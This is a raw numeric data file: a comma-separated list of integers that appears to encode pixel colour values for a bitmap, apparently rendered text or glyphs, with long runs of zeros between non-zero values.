0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,6731519,16777215,16758374,0,58,9493503,14389306,0,0,0,0,0,3827302,6721718,14417919,16777179,11953766,6710886,6710886,6710886,3801088,0,0,0,102,11993087,16777215,14389306,0,0,14992,14417919,16777215,11953664,0,0,26294,14408667,14408667,14408667,16777215,16777215,16767963,14408667,14408667,14399078,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452090,9493503,16777215,14389350,3815994,3815994,3815994,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777142,6699520,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,3838171,16777179,9463354,6731519,16777179,9452032,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,6731483,16777215,16758374,0,58,9483995,16777215,16767926,9452032,3838171,16777179,9452090,9493503,16758374,0,0,58,9483995,16777215,16767926,9452032,6731519,16777215,16777215,16777215,16777179,9452032,0,58,6731483,16777215,16777179,9463354,3838171,16777179,9452090,9493503,16758374,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,14992,14417919,16767888,3801088,102,11993087,16777142,6684672,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16758374,0,102,11993087,16767888,3827382,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,0,0,0,3838171,16777215,16777179,11983871,16777215,16758374,3801088,0,0,14992,14417919,16777142,6699622,11993087,16767888,3801088,0,58,9493503,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,14992,14417919,16777179,9452032,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777215,14399078,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,6731519,16767888,3801088,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16758374,0,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983835,14417919,16777215,16777179,14408667,14408667,16777215,16777215,16767963,14408667,11953664,0,0,0,0,0,3838171,16777142,6684672,3838171,16777215,16767888,3801088,58,9493503,16777215,14389306,0,26294,16777215,16758374,3801088,26294,14417919,16767888,3827382,16777215,16767888,3801088,0,14992,14417919,16777215,16767963,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,3838171,16777215,16777179,9452032,58,9493503,16777215,16767888,3801088,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,3827382,14417919,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3816038,6710886,6699520,0,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,14389306,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,14417919,16777215,16777215,16777215,14399078,3801088,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,3827382,14417919,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,0,0,0,0,3815994,3801088,0,0,0,0,0,58,9493503,16767888,3801088,6731519,16777215,11953664,0,14992,14417919,16777142,6684672,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,0,3838171,16777215,16758374,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,58,9493503,16777215,16758374,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,6731519,16777179,9474230,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,3838171,16777215,14389306,0,0,58,9493503,16777215,16758374,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953722,9493503,14389306,14992,14417883,9452134,11993087,16777142,6684672,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,14992,14417919,16777179,9452032,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,14906,6721718,11983871,16777215,16777215,14389306,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,3838171,16777215,11953722,9493503,11953664,26294,16777142,6699664,14417919,16758374,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,3838171,16777215,16758374,0,58,9493503,14389306,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,6731483,16777215,16777215,16777215,14408667,14408667,14417919,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,14992,14417919,16777215,16777215,16777215,16767888,3801190,11993087,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767888,3801088,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,3838171,16777179,9452032,102,11993087,16767888,3801190,11993087,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,6710886,6710928,11983871,16777179,11964518,6710886,6710886,6710886,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767888,3801088,0,3838171,16777215,16767926,6684672,58,9493503,16777215,14399120,3801088,0,6731519,16777142,6684730,9493503,16758374,0,58,9493503,16777215,14399078,3801088,0,14906,3801088,0,6731519,16777215,11953664,58,9493503,16777215,16767888,3801088,0,6731519,16777142,6684730,9493503,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,14389306,0,102,11993087,16777142,6684672,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,3838171,16777215,16758374,0,0,6731519,16777179,9474230,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,0,3827382,16777215,16777179,9452032,58,9493503,16777215,16758374,0,0,102,11993087,16777215,14408703,16777179,9452032,0,0,102,11993087,16777215,11953664,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,3816080,11993087,16777215,16767888,3801088,0,0,6731519,16777215,14389306,0,0,0,14950,11993087,16777215,14389306,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,3838171,16777215,16758374,3801088,0,6731519,16777215,14408630,11974326,11974326,11974326,11974288,3801088,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,0,0,14992,14417919,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,3801088,0,0,0,0,0,0,3838171,16777215,16758374,14992,14417919,11953664,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,0,58,9493503,16777215,11953664,0,6731519,16777215,11953664,0,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,58,9493503,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,